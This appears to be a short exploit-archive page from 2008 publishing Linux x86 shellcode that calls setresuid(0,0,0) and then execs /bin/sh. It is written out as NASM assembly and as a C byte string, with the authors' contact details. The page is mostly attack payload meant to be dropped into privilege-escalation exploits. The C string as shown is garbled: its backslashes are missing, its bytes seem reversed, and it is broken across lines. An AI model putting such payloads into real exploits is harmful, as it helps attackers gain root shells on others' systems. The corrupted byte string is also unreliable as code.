[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 setresuid(0,0,0) /bin/sh shellcode 35 bytes
# Published : 2008-09-29
# Author : sorrow
# Previous Title : linux/x86 setuid(0) & execve(/bin/sh,0,0) shellcode 28 bytes
# Next Title : freebsd/x86 setreuid, execve(pfctl -d) 56 bytes


{==========================================================}
{ linux x86 setresuid(0,0,0)-/bin/sh shellcode 35 bytes    }
{==========================================================}

Shellcode by the FHM crew:
----------------------------
http://fhm.noblogs.org
----------------------------

Contact us at:

--------------------------------------------------
sorrow: rawhazard@autistici.org; betat@hotmail.it
--------------------------------------------------
fhm: fhm@autistici.org;
--------------------------------------------------


Assembly code:

--[code]--
BITS 32

;setresuid(0,0,0)
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq
mov BYTE al, 0xa4
int 0x80

;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
push BYTE 11
pop eax
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80
--[/code]--

Shellcode string:
--[code]--
char shellcode [] =
"x80xcdxe1x89x53xe2x89x51xe3x89x6ex69x62x2fx68x68x73x2fx2f
                    
x68x51x58x0bx6ax80xcdxa4xb0x99xc9x31xdbx31xc0x31"
-[/code]-

# www.Syue.com [2008-09-29]